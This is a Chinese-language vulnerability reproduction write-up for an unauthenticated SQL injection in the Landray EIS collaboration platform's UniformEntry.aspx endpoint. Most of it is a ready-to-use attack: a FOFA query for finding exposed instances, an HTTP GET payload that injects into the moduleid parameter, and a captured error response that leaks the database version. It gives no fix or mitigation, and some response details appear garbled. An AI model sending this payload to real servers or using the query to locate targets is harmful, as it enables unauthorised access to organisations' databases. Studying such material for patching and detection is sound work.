

L1-9蓝凌-EIS智慧协同平台-SQL

漏洞描述：

由于蓝凌EIS智慧协同平台 UniformEntry.aspx接口处未对用户输入的SQL语句进行过滤或验证导致出现SQL注入漏洞，未经身份验证的攻击者可以利用此漏洞获取数据库敏感信息。

影响版本：

- 蓝凌-EIS智慧协同平台

网站图片：

网络测绘：

fofa语法：

FOFA: app="Landray-EIS智慧协同平台"

漏洞复现：

payload:

```
GET /third/DingTalk/Pages/UniformEntry.aspx?moduleid=1%20and%201=@@version--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
```

效果图:

查询数据库版本

Request

1 GET /third/DingTalk/Pages/UniformEntry.aspx?moduleid=1%20and%201=@@version--+ HTTP/1.1

2 Host : 192.168.1.100:3:88

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

4 Accept-Encoding: gzip

Responses 5860bytes / 108ms

1 HTTP/1.1 500 Internal Server Error

2 Cache-Control: private

3 Content-Type: text/html; charset=utf-8

4 Server: Microsoft-IIS/7.5

5 X-AspNet-Version: 2.0.50727

6 X-Powered-By: ASP.NET

7 MicrosoftSharePointTeamServices: 12.0.0.64

8 Date: Fri, 15 Dec 2023 09:03:24 GMT

9 Content-Length: 5860

10

11 <html>

12 <head>

13 <title>在将 nvarchar 值 'Microsoft (X64)' 与 nvarchar 值 'Enterprise Edit: Corporation' 一起使用时，无法将 nvarchar 值 'Enterprise Edit: Corporation' 转换成数据类型 'datetime'。

14 <style>

15 body {font-family: "Verdana"; font-size: 10pt; color: black; background-color: white; margin: 0px; padding: 0px;}

16 p {font-family: "Verdana"; font-size: 10pt; margin: 0px; padding: 0px;}

17 b {font-family: "Verdana"; font-size: 10pt; margin: 0px; padding: 0px;}

18 H1 {font-family: "Verdana"; font-size: 12pt; margin: 0px; padding: 0px;}

19 H2 {font-family: "Verdana"; font-size: 11pt; margin: 0px; padding: 0px;}

20 pre {font-family: "Lucida Console"; font-size: 10pt; margin: 0px; padding: 0px;}

21 .marker {font-weight: bold; color: red; margin: 0px; padding: 0px;}

22 .version {color: gray; margin: 0px; padding: 0px;}

23 .error {margin-bottom: 10px;}